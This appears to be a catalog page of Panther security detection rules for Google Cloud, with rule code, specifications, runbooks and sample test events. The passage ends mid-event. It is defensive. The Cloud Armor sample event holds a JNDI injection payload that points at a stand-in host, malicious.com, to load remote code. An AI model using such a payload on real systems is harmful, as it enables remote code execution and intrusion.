Detection rules › Panther
Panther rules: gcp
Exec into Pod
#Alerts when users exec into pod. Possible to specify specific projects and allowed users.
Telemetry coverage
| Platform | Record / event type |
|---|---|
| Kubernetes | create-pods-exec: create pods/exec |
Rules detecting the same action
These rules filter on the same operation.
- Attach/Exec Pod (Falco)
- Azure AKS Attempted User Exec into Pod (Elastic)
- Container With A hostPath Mount Created (Sigma)
- Create Disallowed Pod (Falco)
- Create HostIPC Pod (Falco)
- Create HostNetwork Pod (Falco)
- Create HostPid Pod (Falco)
- Create Privileged Pod (Falco)
Detection logic
import json
from unittest.mock import MagicMock
from panther_base_helpers import deep_walk
from panther_gcp_helpers import get_k8s_info
# This is a list of principals that are allowed to exec into pods
# in various namespaces and projects.
ALLOW_LIST = [
{
# If empty, then no principals
"principals": [
# "system:serviceaccount:example-namespace:example-namespace-service-account",
],
# If empty, then all namespaces
"namespaces": [],
# If projects empty then all projects
"projects": [],
},
# Add more allowed principals here
# {
# "principals": [],
# "namespaces": [],
# "projects": [],
# },
]
def rule(event):
# pylint: disable=not-callable
# pylint: disable=global-statement
global ALLOW_LIST
if isinstance(ALLOW_LIST, MagicMock):
ALLOW_LIST = json.loads(ALLOW_LIST())
# Defaults to False (no alert) unless method is exec and principal not allowed
if not all(
[
event.deep_walk("protoPayload", "methodName") == "io.k8s.core.v1.pods.exec.create",
event.deep_walk("resource", "type") == "k8s_cluster",
]
):
return False
k8s_info = get_k8s_info(event)
principal = deep_walk(k8s_info, "principal", default="<NO PRINCIPAL>")
namespace = deep_walk(k8s_info, "namespace", default="<NO NAMESPACE>")
project_id = deep_walk(k8s_info, "project_id", default="<NO PROJECT_ID>")
# rule_exceptions that are allowed temporarily are defined in gcp_environment.py
# Some execs have principal which is long numerical UUID, appears to be k8s internals
for allowed_principal in ALLOW_LIST:
allowed_principals = deep_walk(allowed_principal, "principals", default=[])
allowed_namespaces = deep_walk(allowed_principal, "namespaces", default=[])
allowed_project_ids = deep_walk(allowed_principal, "projects", default=[])
if (
principal in allowed_principals
and (namespace in allowed_namespaces or allowed_namespaces == [])
and (project_id in allowed_project_ids or allowed_project_ids == [])
):
if "@" not in principal:
return False
return True
def title(event):
# TODO: use unified data model field in title for actor
k8s_info = get_k8s_info(event)
principal = deep_walk(k8s_info, "principal", default="<NO PRINCIPAL>")
project_id = deep_walk(
k8s_info,
"project_id",
default="",
)
pod = deep_walk(k8s_info, "pod", default="")
namespace = deep_walk(k8s_info, "namespace", default="")
return f"Exec into pod namespace/{namespace}/pod/{pod} by {principal} in {project_id}"
def alert_context(event):
return get_k8s_info(event)
Rule specification
AnalysisType: rule
Filename: gcp_k8s_exec_into_pod.py
RuleID: "GCP.K8s.ExecIntoPod"
DisplayName: "Exec into Pod"
Enabled: false
LogTypes:
- GCP.AuditLog
Tags:
- GCP
- Security Control
- Configuration Required
Severity: Medium
Description: >
Alerts when users exec into pod. Possible to specify specific projects and allowed users.
Runbook: >
Investigate the user and determine why. Advise that it is discouraged practice. Create ticket if appropriate.
Reference: https://cloud.google.com/migrate/containers/docs/troubleshooting/executing-shell-commands
Stages and Predicates
Fires on GCP.AuditLog events when all of the conditions below hold.
Condition
protoPayload.methodNameisio.k8s.core.v1.pods.exec.createresource.typeisk8s_cluster
This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.methodName | eq |
| field:"protoPayload.methodName" kind:eq value:"io.k8s.core.v1.pods.exec.create" |
resource.type | eq |
| field:"resource.type" kind:eq value:"k8s_cluster" |
Response runbook
Investigate the user and determine why. Advise that it is discouraged practice. Create ticket if appropriate.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"protoPayload": {
"authenticationInfo": {
"principalEmail": "disallowed.user@example.com"
},
"authorizationInfo": [
{
"permission": "io.k8s.core.v1.pods.exec.create",
"resource": "core/v1/namespaces/example/pods/example-57998cf7c5-bjkfk/exec"
}
],
"methodName": "io.k8s.core.v1.pods.exec.create",
"requestMetadata": {
"callerIp": "88.88.88.88",
"callerSuppliedUserAgent": "kubectl/v1.40.8 (darwin/amd64) kubernetes/6575935"
},
"resourceName": "core/v1/namespaces/example/pods/one-off-valerii-tovstyk-1646666967280/exec",
"timestamp": "2022-03-04T16:01:49.978756Z"
},
"resource": {
"labels": {
"project_id": "rigup-production"
},
"type": "k8s_cluster"
}
}
GCP Access Attempts Violating IAP Access Controls
#GCP Access Attempts Violating IAP Access Controls
Detection logic
def rule(event):
return all(
[
event.deep_get("resource", "type", default="") == "http_load_balancer",
event.deep_get("jsonPayload", "statusDetails", default="")
== "handled_by_identity_aware_proxy",
not any(
[
str(event.deep_get("httprequest", "status", default=000)).startswith("2"),
str(event.deep_get("httprequest", "status", default=000)).startswith("3"),
]
),
]
)
def title(event):
source = event.deep_get("jsonPayload", "remoteIp", default="<SRC_IP_NOT_FOUND>")
request_url = event.deep_get("httprequest", "requestUrl", default="<REQUEST_URL_NOT_FOUND>")
return f"GCP: Request Violating IAP controls from [{source}] to [{request_url}]"
Rule specification
AnalysisType: rule
Description: GCP Access Attempts Violating IAP Access Controls
DisplayName: "GCP Access Attempts Violating IAP Access Controls"
Enabled: true
Filename: gcp_access_attempts_violating_iap_access_controls.py
Reference: https://cloud.google.com/iap/docs/concepts-overview
Severity: Medium
DedupPeriodMinutes: 60
LogTypes:
- GCP.HTTPLoadBalancer
RuleID: "GCP.Access.Attempts.Violating.IAP.Access.Controls"
Threshold: 1
Stages and Predicates
Fires on GCP.HTTPLoadBalancer events when all of the conditions below hold.
Condition
resource.typeishttp_load_balancerjsonPayload.statusDetailsishandled_by_identity_aware_proxyhttprequest.statusdoes not start with2httprequest.statusdoes not start with3
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
httprequest.status | starts_with | 2 | excludes:httprequest.status field:"httprequest.status" value:"2" |
httprequest.status | starts_with | 3 | excludes:httprequest.status field:"httprequest.status" value:"3" |
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
jsonPayload.statusDetails | eq |
| field:"jsonPayload.statusDetails" kind:eq value:"handled_by_identity_aware_proxy" |
resource.type | eq |
| field:"resource.type" kind:eq value:"http_load_balancer" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
remoteIp | jsonPayload.remoteIp |
requestUrl | httprequest.requestUrl |
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"httprequest": {
"latency": "0.048180s",
"remoteIp": "1.2.3.4",
"requestMethod": "GET",
"requestSize": 77,
"requestUrl": "http://6.7.8.9/",
"responseSize": 211,
"status": 403,
"userAgent": "curl/7.85.0"
},
"insertid": "u94qwjf25yzns",
"jsonpayload": {
"at_sign_type": "type.googleapis.com/google.cloud.loadbalancing.type.LoadBalancerLogEntry",
"remoteIp": "1.2.3.4",
"statusDetails": "handled_by_identity_aware_proxy"
},
"logname": "projects/gcp-project1/logs/requests",
"p_any_ip_addresses": [
"6.7.8.9",
"1.2.3.4"
],
"p_any_trace_ids": [
"projects/gcp-project1/traces/dd43c6eb7046da54fa3724d2753262e6"
],
"p_event_time": "2023-03-09 23:19:25.712",
"p_log_type": "GCP.HTTPLoadBalancer",
"p_parse_time": "2023-03-09 23:21:14.47",
"p_row_id": "be93fccee09dd2f1b0b2d9ee16d5d704",
"p_schema_version": 0,
"p_source_id": "964c7894-9a0d-4ddf-864f-0193438221d6",
"p_source_label": "panther-gcp-logsource",
"receivetimestamp": "2023-03-09 23:19:26.392",
"resource": {
"labels": {
"backend_service_name": "web-backend-service",
"forwarding_rule_name": "http-content-rule",
"project_id": "gcp-project1",
"target_proxy_name": "http-lb-proxy-2",
"url_map_name": "web-map-http-2",
"zone": "global"
},
"type": "http_load_balancer"
},
"severity": "INFO",
"spanid": "d75cc31c93528953",
"timestamp": "2023-03-09 23:19:25.712",
"trace": "projects/gcp-project1/traces/dd43c6eb7046da54fa3724d2753262e6"
}
GCP Access Attempts Violating VPC Service Controls
#An access attempt violating VPC service controls (such as Perimeter controls) has been made.
Detection logic
def rule(event):
severity = event.get("severity", "")
status_code = event.deep_get("protoPayload", "status", "code", default="")
violation_types = event.deep_walk(
"protoPayload", "status", "details", "violations", "type", default=[]
)
if all(
[
severity == "ERROR",
status_code == 7,
"VPC_SERVICE_CONTROLS" in violation_types,
]
):
return True
return False
def title(event):
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
method = event.deep_get("protoPayload", "methodName", default="<METHOD_NOT_FOUND>")
return f"GCP: [{actor}] performed a [{method}] request that violates VPC Service Controls"
Rule specification
AnalysisType: rule
Description: An access attempt violating VPC service controls (such as Perimeter controls) has been made.
DisplayName: "GCP Access Attempts Violating VPC Service Controls"
Enabled: true
Filename: gcp_access_attempts_violating_vpc_service_controls.py
Reference: https://cloud.google.com/vpc-service-controls/docs/troubleshooting#debugging
Severity: Medium
DedupPeriodMinutes: 60
LogTypes:
- GCP.AuditLog
RuleID: "GCP.Access.Attempts.Violating.VPC.Service.Controls"
Threshold: 1
Stages and Predicates
Fires on GCP.AuditLog events when all of the conditions below hold.
Condition
severityisERRORprotoPayload.status.codeis7protoPayload.status.details.violations.typecontainsVPC_SERVICE_CONTROLS
Indicators
These rows show field, operator, and value matches.
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
principalEmail | protoPayload.authenticationInfo.principalEmail |
methodName | protoPayload.methodName |
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"insertId": "13ogcded7jh2",
"insertid": "15wr7lbb6j",
"logName": "projects/gcpproject/logs/cloudaudit.googleapis.com%2Fpolicy",
"logname": "projects/gcpproject/logs/cloudaudit.googleapis.com%2Factivity",
"p_any_ip_addresses": [
"1.2.3.4"
],
"p_event_time": "2023-03-09 10:53:14.929",
"p_log_type": "GCP.AuditLog",
"p_parse_time": "2023-03-09 10:54:14.363",
"p_row_id": "7ad218d42253b7e6f78cc0ed16be37",
"p_source_id": "4fc88a5a-2d51-4279-9c4a-08fa7cc52566",
"p_source_label": "gcplogsource",
"protoPayload": {
"at_type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "user1@serviceaccount.gcp.com"
},
"metadata": {
"at_type": "type.googleapis.com/google.cloud.audit.VpcServiceControlAuditMetadata",
"deviceState": "Unknown",
"ingressViolations": [
{
"servicePerimeter": "accessPolicies/123456789012/servicePerimeters/test_perimeter",
"targetResource": "projects/197946410614",
"targetResourcePermissions": [
"NO_PERMISSIONS"
]
}
],
"resourceNames": [
"projects/_/buckets/test-restricted-bucket/objects/test1.txt"
],
"securityPolicyInfo": {
"organizationId": "645568414902",
"servicePerimeterName": "accessPolicies/123456789012/servicePerimeters/test_perimeter"
},
"violationReason": "NO_MATCHING_ACCESS_LEVEL",
"vpcServiceControlsUniqueId": "gBc-wuGVCapNMnTUePoHos_VyJmr3CsMKlr48kVa4b6XpsT_OWKRng"
},
"methodName": "google.storage.objects.get",
"requestMetadata": {
"callerIp": "1.2.3.4",
"destinationAttributes": {},
"requestAttributes": {}
},
"resourceName": "projects/197946410614",
"serviceName": "storage.googleapis.com",
"status": {
"code": 7,
"details": [
{
"at_type": "type.googleapis.com/google.rpc.PreconditionFailure",
"violations": [
{
"description": "gBc-wuGVCapNMnTUePoHos_VyJmr3CsMKlr48kVa4b6XpsT_OWKRng",
"type": "VPC_SERVICE_CONTROLS"
},
{
"description": "gCc-wuJa334DJ9940ssdiw_V8400skgjj3912500sldgjzh_LGJANr",
"type": "OTHER_CONTROL_VIOLATION"
}
]
}
],
"message": "Request is prohibited by organization's policy. vpcServiceControlsUniqueIdentifier: gBc-wuGVCapNMnTUePoHos_VyJmr3CsMKlr48kVa4b6XpsT_OWKRng"
}
},
"receiveTimestamp": "2023-03-09T16:28:42.567340480Z",
"resource": {
"labels": {
"method": "google.storage.objects.get",
"project_id": "gcpproject",
"service": "storage.googleapis.com"
},
"type": "audited_resource"
},
"severity": "ERROR",
"timestamp": "2023-03-09T16:28:40.890430163Z"
}
GCP BigQuery Large Scan
#Detect any BigQuery query that is doing a very large scan (> 1 GB).
Detection logic
# 1.07 GB
QUERY_THRESHOLD_BYTES = 1073741824
def rule(event):
return all(
[
event.deep_get("resource", "type", default="<type not found>").startswith("bigquery"),
event.deep_get("operation", "last") is True,
event.deep_get("protoPayload", "metadata", "jobChange", "job", "jobConfig", "type")
== "QUERY",
event.deep_get(
"protoPayload",
"metadata",
"jobChange",
"job",
"jobConfig",
"queryConfig",
"statementType",
)
== "SELECT",
int(
event.deep_get(
"protoPayload",
"metadata",
"jobChange",
"job",
"jobStats",
"queryStats",
"totalBilledBytes",
default=0,
)
)
> QUERY_THRESHOLD_BYTES,
]
)
def title(event):
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
return f"GCP: [{actor}] ran a large BigQuery query exceeding 1.07 GB threshold."
def alert_context(event):
return {
"query": event.deep_get(
"protoPayload",
"metadata",
"jobChange",
"job",
"jobConfig",
"queryConfig",
"query",
default="<QUERY_NOT_FOUND>",
),
"actor": event.deep_get(
"protoPayload",
"authenticationInfo",
"principalEmail",
default="<ACTOR_NOT_FOUND>",
),
"query_size": event.deep_get(
"protoPayload",
"metadata",
"jobChange",
"job",
"jobStats",
"queryStats",
"totalBilledBytes",
default=0,
),
}
Rule specification
AnalysisType: rule
Description: Detect any BigQuery query that is doing a very large scan (> 1 GB).
DisplayName: "GCP BigQuery Large Scan"
Enabled: true
Filename: gcp_bigquery_large_scan.py
Reference: https://cloud.google.com/bigquery/docs/running-queries
Severity: Info
DedupPeriodMinutes: 60
LogTypes:
- GCP.AuditLog
RuleID: "GCP.BigQuery.Large.Scan"
Threshold: 1
Stages and Predicates
Fires on GCP.AuditLog events when all of the conditions below hold.
Condition
resource.typestarts withbigqueryoperation.lastistrueprotoPayload.metadata.jobChange.job.jobConfig.typeisQUERYprotoPayload.metadata.jobChange.job.jobConfig.queryConfig.statementTypeisSELECTprotoPayload.metadata.jobChange.job.jobStats.queryStats.totalBilledBytesis greater than1073741824
Indicators
These rows show field, operator, and value matches.
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
query | protoPayload.metadata.jobChange.job.jobConfig.queryConfig.query |
actor | protoPayload.authenticationInfo.principalEmail |
query_size | protoPayload.metadata.jobChange.job.jobStats.queryStats.totalBilledBytes |
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"insertid": "ABCDEFGHIJKL",
"logname": "projects/gcp-project1/logs/cloudaudit.googleapis.com%2Fdata_access",
"operation": {
"id": "0123456789012-gcp-project1:abcdefg_hijklmnop_1234567abcd",
"last": true,
"producer": "bigquery.googleapis.com"
},
"p_any_emails": [
"user@company.io"
],
"p_any_ip_addresses": [
"1.2.3.4"
],
"p_event_time": "2023-03-28 17:37:02.096",
"p_log_type": "GCP.AuditLog",
"p_parse_time": "2023-03-28 17:38:14.621",
"p_row_id": "de00d3dcdaeee4b4d5f7fa9d17b4c203",
"p_schema_version": 0,
"p_source_id": "964c7894-9a0d-4ddf-864f-0193438221d6",
"p_source_label": "gcp-logsource",
"protoPayload": {
"at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "user@company.io"
},
"authorizationInfo": [
{
"granted": true,
"permission": "bigquery.jobs.create",
"resource": "projects/gcp-project1"
}
],
"metadata": {
"@type": "type.googleapis.com/google.cloud.audit.BigQueryAuditMetadata",
"jobChange": {
"after": "DONE",
"job": {
"jobConfig": {
"queryConfig": {
"createDisposition": "CREATE_IF_NEEDED",
"destinationTable": "projects/gcp-project1/datasets/_c2b49f742788f188022fcec1f1622e7404b40ce5/tables/anondea8e77183dcdf1cf93a47b5003036409a525808207450ab80db17fcc8cdcf53",
"priority": "QUERY_INTERACTIVE",
"query": "-- This query shows a list of the daily top Google Search terms.\nSELECT\n *\nFROM `bigquery-public-data.google_trends.top_terms`",
"statementType": "SELECT",
"writeDisposition": "WRITE_TRUNCATE"
},
"type": "QUERY"
},
"jobName": "projects/gcp-project1/jobs/abcdefg_hijklmnop_1234567abcd",
"jobStats": {
"createTime": "2023-03-28T17:36:49.087Z",
"endTime": "2023-03-28T17:37:02.092Z",
"queryStats": {
"billingTier": 1,
"outputRowCount": "43683701",
"referencedTables": [
"projects/bigquery-public-data/datasets/google_trends/tables/top_terms"
],
"totalBilledBytes": "3097493504",
"totalProcessedBytes": "3096864198"
},
"startTime": "2023-03-28T17:36:49.224Z",
"totalSlotMs": "259581"
},
"jobStatus": {
"jobState": "DONE"
}
}
}
},
"methodName": "google.cloud.bigquery.v2.JobService.InsertJob",
"requestMetadata": {
"callerIP": "1.2.3.4",
"callerSuppliedUserAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36,gzip(gfe),gzip(gfe)"
},
"resourceName": "projects/gcp-project1/jobs/abcdefg_hijklmnop_1234567abcd",
"serviceName": "bigquery.googleapis.com",
"status": {}
},
"receivetimestamp": "2023-03-28 17:37:02.114",
"resource": {
"labels": {
"location": "US",
"project_id": "gcp-project1"
},
"type": "bigquery_project"
},
"severity": "INFO",
"timestamp": "2023-03-28 17:37:02.096"
}
GCP Cloud Armor RCE Attempt Detected
#Detects when GCP Cloud Armor detects HTTP requests matching specific Remote Code Execution (RCE) vulnerability signatures (google-mrs-v202512-id000001-rce and google-mrs-v202512-id000002-rce) which match React2Shell exploit attempts. These rules indicate active exploitation attempts against known RCE vulnerabilities.
Detection logic
# CloudArmor signature IDs for CVE-2025-55182
REACT2SHELL_SIGNATURES = [
"google-mrs-v202512-id000001-rce",
"google-mrs-v202512-id000002-rce",
]
def rule(event):
# Check that this is an HTTP load balancer event
if event.deep_get("resource", "type") != "http_load_balancer":
return False
# Check enforced policy match
enforced_policy = event.deep_get("jsonPayload", "enforcedSecurityPolicy", default={})
enforced_sigs = enforced_policy.get("preconfiguredExprIds", [])
if any(sig in enforced_sigs for sig in REACT2SHELL_SIGNATURES):
return True
# Check preview policy for non-blocking WAF matches
preview_policy = event.deep_get("jsonPayload", "previewSecurityPolicy", default={})
preview_sigs = preview_policy.get("preconfiguredExprIds", [])
if any(sig in preview_sigs for sig in REACT2SHELL_SIGNATURES):
return True
return False
def title(event):
remote_ip = event.deep_get("httpRequest", "remoteIp", default="<UNKNOWN_IP>")
return f"Cloud Armor React2Shell (CVE-2025-55182) Exploit Detected from {remote_ip}"
def alert_context(event):
enforced_policy = event.deep_get("jsonPayload", "enforcedSecurityPolicy", default={})
preview_policy = event.deep_get("jsonPayload", "previewSecurityPolicy", default={})
http_request = event.get("httpRequest", {})
status_details = event.deep_get("jsonPayload", "statusDetails", default="<UNKNOWN_STATUS>")
context = {
"vulnerability": "CVE-2025-55182 (React2Shell)",
"status_details": status_details,
"remote_ip": http_request.get("remoteIp"),
"request_url": http_request.get("requestUrl"),
"request_method": http_request.get("requestMethod"),
"user_agent": http_request.get("userAgent"),
"status_code": http_request.get("status"),
"referer": http_request.get("referer"),
"enforced_policy": {
"name": enforced_policy.get("name"),
"configured_action": enforced_policy.get("configuredAction"),
"outcome": enforced_policy.get("outcome"),
"priority": enforced_policy.get("priority"),
"signature_ids": enforced_policy.get("preconfiguredExprIds", []),
"matched_field_type": enforced_policy.get("matchedFieldType"),
"matched_field_name": enforced_policy.get("matchedFieldName"),
"matched_field_value": enforced_policy.get("matchedFieldValue"),
"matched_length": enforced_policy.get("matchedLength"),
},
"project_id": event.deep_get("resource", "labels", "project_id"),
"backend_service": event.deep_get("resource", "labels", "backend_service_name"),
"forwarding_rule": event.deep_get("resource", "labels", "forwarding_rule_name"),
}
# Include preview policy details if present
if preview_policy:
context["preview_policy"] = {
"configured_action": preview_policy.get("configuredAction"),
"outcome": preview_policy.get("outcome"),
"priority": preview_policy.get("priority"),
"signature_ids": preview_policy.get("preconfiguredExprIds", []),
"matched_field_type": preview_policy.get("matchedFieldType"),
"matched_field_name": preview_policy.get("matchedFieldName"),
"matched_field_value": preview_policy.get("matchedFieldValue"),
"matched_length": preview_policy.get("matchedLength"),
}
return context
Rule specification
AnalysisType: rule
Description: >
Detects when GCP Cloud Armor detects HTTP requests matching specific Remote Code Execution (RCE)
vulnerability signatures (google-mrs-v202512-id000001-rce and google-mrs-v202512-id000002-rce) which match React2Shell exploit attempts.
These rules indicate active exploitation attempts against known RCE vulnerabilities.
DisplayName: GCP Cloud Armor RCE Attempt Detected
Enabled: true
Filename: gcp_cloud_armor_r2s_rce_attempt.py
RuleID: GCP.CloudArmor.React2Shell.RCE.Attempt
Severity: High
LogTypes:
- GCP.HTTPLoadBalancer
Tags:
- GCP
- Cloud Armor
- WAF
- RCE
- React2Shell
Reference: https://cloud.google.com/armor/docs/waf-rules#cves_and_other_vulnerabilities
Runbook: |
1. Query GCP HTTP Load Balancer logs for all requests from the httpRequest:remoteIp in the 6 hours before and after the alert to identify attack patterns and other exploit attempts
2. Check if the httpRequest:remoteIp is associated with known threat actors, scanning infrastructure, VPN services, or proxy networks using IP enrichment
3. Search for other Cloud Armor denials (jsonPayload:statusDetails = denied_by_security_policy) from this IP or targeting the same resource:labels:backend_service_name in the past 7 days to assess campaign scope
Stages and Predicates
Fires on GCP.HTTPLoadBalancer events when all of the conditions below hold.
Condition
resource.typeishttp_load_balancerany of:
jsonPayload.enforcedSecurityPolicy.preconfiguredExprIdscontainsgoogle-mrs-v202512-id000001-rcejsonPayload.enforcedSecurityPolicy.preconfiguredExprIdscontainsgoogle-mrs-v202512-id000002-rcejsonPayload.previewSecurityPolicy.preconfiguredExprIdscontainsgoogle-mrs-v202512-id000001-rcejsonPayload.previewSecurityPolicy.preconfiguredExprIdscontainsgoogle-mrs-v202512-id000002-rce
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
jsonPayload.enforcedSecurityPolicy.preconfiguredExprIds | contains |
| field:"jsonPayload.enforcedSecurityPolicy.preconfiguredExprIds" kind:contains |
jsonPayload.previewSecurityPolicy.preconfiguredExprIds | contains |
| field:"jsonPayload.previewSecurityPolicy.preconfiguredExprIds" kind:contains |
resource.type | eq |
| field:"resource.type" kind:eq value:"http_load_balancer" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
status_details | jsonPayload.statusDetails |
remote_ip | httpRequest.remoteIp |
request_url | httpRequest.requestUrl |
request_method | httpRequest.requestMethod |
user_agent | httpRequest.userAgent |
status_code | httpRequest.status |
referer | httpRequest.referer |
project_id | resource.labels.project_id |
backend_service | resource.labels.backend_service_name |
forwarding_rule | resource.labels.forwarding_rule_name |
Response runbook
1. Query GCP HTTP Load Balancer logs for all requests from the httpRequest:remoteIp in the 6 hours before and after the alert to identify attack patterns and other exploit attempts
2. Check if the httpRequest:remoteIp is associated with known threat actors, scanning infrastructure, VPN services, or proxy networks using IP enrichment
3. Search for other Cloud Armor denials (jsonPayload:statusDetails = denied_by_security_policy) from this IP or targeting the same resource:labels:backend_service_name in the past 7 days to assess campaign scope
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"httpRequest": {
"remoteIp": "1.2.3.4",
"requestMethod": "POST",
"requestSize": 1024,
"requestUrl": "https://example.com/api/upload",
"responseSize": 0,
"status": 403,
"userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
},
"insertId": "abc123xyz",
"jsonPayload": {
"enforcedSecurityPolicy": {
"configuredAction": "DENY",
"matchedFieldName": "session",
"matchedFieldType": "COOKIE_VALUES",
"matchedFieldValue": "${jndi:ldap://malicious.com/exploit}",
"matchedLength": 42,
"name": "cloud-armor-policy-prod",
"outcome": "DENY",
"preconfiguredExprIds": [
"google-mrs-v202512-id000001-rce"
],
"priority": 10000
},
"statusDetails": "denied_by_security_policy"
},
"logName": "projects/test-project/logs/requests",
"resource": {
"labels": {
"backend_service_name": "web-backend",
"forwarding_rule_name": "web-lb-rule",
"project_id": "test-project"
},
"type": "http_load_balancer"
},
"severity": "WARNING",
"timestamp": "2025-12-16 10:30:00.000"
}
GCP Cloud Run Service Created
#Detects creation of new Cloud Run Service, which, if configured maliciously, may be part of the attack aimed to invoke the service and retrieve the access token.
Telemetry coverage
| Platform | Record / event type |
|---|---|
| GCP | google.cloud.run.Services.CreateService: CreateService |
Detection logic
from panther_gcp_helpers import gcp_alert_context
def rule(event):
if event.get("severity") == "ERROR":
return False
method_name = event.deep_get("protoPayload", "methodName", default="")
if not method_name.endswith("Services.CreateService"):
return False
authorization_info = event.deep_walk("protoPayload", "authorizationInfo")
if not authorization_info:
return False
for auth in authorization_info:
if auth.get("permission") == "run.services.create" and auth.get("granted") is True:
return True
return False
def title(event):
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
project_id = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")
return f"[GCP]: [{actor}] created new Run Service in project [{project_id}]"
def alert_context(event):
context = gcp_alert_context(event)
context["service_account"] = event.deep_get(
"protoPayload",
"request",
"service",
"spec",
"template",
"spec",
default="<SERVICE_ACCOUNT_NOT_FOUND>",
)
return context
Rule specification
AnalysisType: rule
LogTypes:
- GCP.AuditLog
Description:
Detects creation of new Cloud Run Service, which, if configured maliciously, may be part of the attack
aimed to invoke the service and retrieve the access token.
DisplayName: "GCP Cloud Run Service Created"
RuleID: "GCP.Cloud.Run.Service.Created"
Filename: gcp_cloud_run_service_created.py
Enabled: true
CreateAlert: false
Reference: https://cloud.google.com/run/docs/quickstarts/deploy-container
Runbook: Confirm this was authorized and necessary behavior
Severity: Low
DedupPeriodMinutes: 60
Threshold: 1
Stages and Predicates
Fires on GCP.AuditLog events when all of the conditions below hold.
Condition
severityis notERRORprotoPayload.methodNameends withServices.CreateServiceprotoPayload.authorizationInfois presentany element of
protoPayload.authorizationInfomatches all of:protoPayload.authorizationInfo.permissionisrun.services.createprotoPayload.authorizationInfo.grantedistrue
protoPayload.authorizationInfo.permissionisrun.services.create
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.authorizationInfo | is_not_null | field:"protoPayload.authorizationInfo" kind:is_not_null | |
protoPayload.authorizationInfo.permission | eq |
| field:"protoPayload.authorizationInfo.permission" kind:eq value:"run.services.create" |
protoPayload.methodName | ends_with |
| field:"protoPayload.methodName" kind:ends_with value:"Services.CreateService" |
severity | ne |
| field:"severity" kind:ne value:"ERROR" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
project | resource.labels.project_id |
principal | protoPayload.authenticationInfo.principalEmail |
caller_ip | protoPayload.requestMetadata.callerIP |
methodName | protoPayload.methodName |
resourceName | protoPayload.resourceName |
serviceName | protoPayload.serviceName |
Response runbook
Confirm this was authorized and necessary behavior
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"insertId": "jzm5rucrn2",
"logName": "projects/some-project/logs/cloudaudit.googleapis.com%2Factivity",
"protoPayload": {
"at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "some.user@company.com",
"principalSubject": "user:some.user@company.com"
},
"authorizationInfo": [
{
"granted": true,
"permission": "run.services.create",
"resource": "namespaces/some-project/services/cloudrun-exfil",
"resourceAttributes": {}
}
],
"methodName": "google.cloud.run.v1.Services.CreateService",
"request": {
"@type": "type.googleapis.com/google.cloud.run.v1.CreateServiceRequest",
"parent": "namespaces/some-project",
"service": {
"apiVersion": "serving.knative.dev/v1",
"kind": "Service",
"metadata": {
"annotations": {
"client.knative.dev/user-image": "us-west1-docker.pkg.dev/some-project/abc-test/run_services_create_test"
},
"name": "cloudrun-exfil",
"namespace": "some-project"
},
"spec": {
"template": {
"metadata": {
"annotations": {
"client.knative.dev/user-image": "us-west1-docker.pkg.dev/some-project/abc-test/run_services_create_test"
},
"labels": {
"cloud.googleapis.com/location": "us-west1"
},
"name": "cloudrun-exfil-00001-zif"
},
"spec": {
"serviceAccountName": "abc-test@some-project.iam.gserviceaccount.com"
}
}
}
}
},
"requestMetadata": {
"callerIP": "1.2.3.4",
"callerSuppliedUserAgent": "(gzip),gzip(gfe)",
"destinationAttributes": {},
"requestAttributes": {
"auth": {},
"time": "2024-02-02T09:43:54.690161Z"
}
},
"resourceLocation": {
"currentLocations": [
"us-west1"
]
},
"resourceName": "namespaces/some-project/services/cloudrun-exfil",
"response": {
"@type": "type.googleapis.com/google.cloud.run.v1.Service",
"apiVersion": "serving.knative.dev/v1",
"kind": "Service",
"metadata": {
"annotations": {
"client.knative.dev/user-image": "us-west1-docker.pkg.dev/some-project/abc-test/run_services_create_test",
"run.googleapis.com/ingress": "all",
"run.googleapis.com/operation-id": "6fdf115a-1bdd-4836-b0ca-ae71f8ba6718",
"serving.knative.dev/creator": "some.user@company.com",
"serving.knative.dev/lastModifier": "some.user@company.com"
},
"creationTimestamp": "2024-02-02T09:43:54.640837Z",
"generation": 1,
"labels": {
"cloud.googleapis.com/location": "us-west1"
},
"name": "cloudrun-exfil",
"namespace": "1028347275902",
"resourceVersion": "AAYQYvNHUcU",
"selfLink": "/apis/serving.knative.dev/v1/namespaces/1028347275902/services/cloudrun-exfil",
"uid": "45101e8e-7b91-4c41-81a1-969e876923f4"
},
"spec": {
"template": {
"metadata": {
"annotations": {
"autoscaling.knative.dev/maxScale": "100",
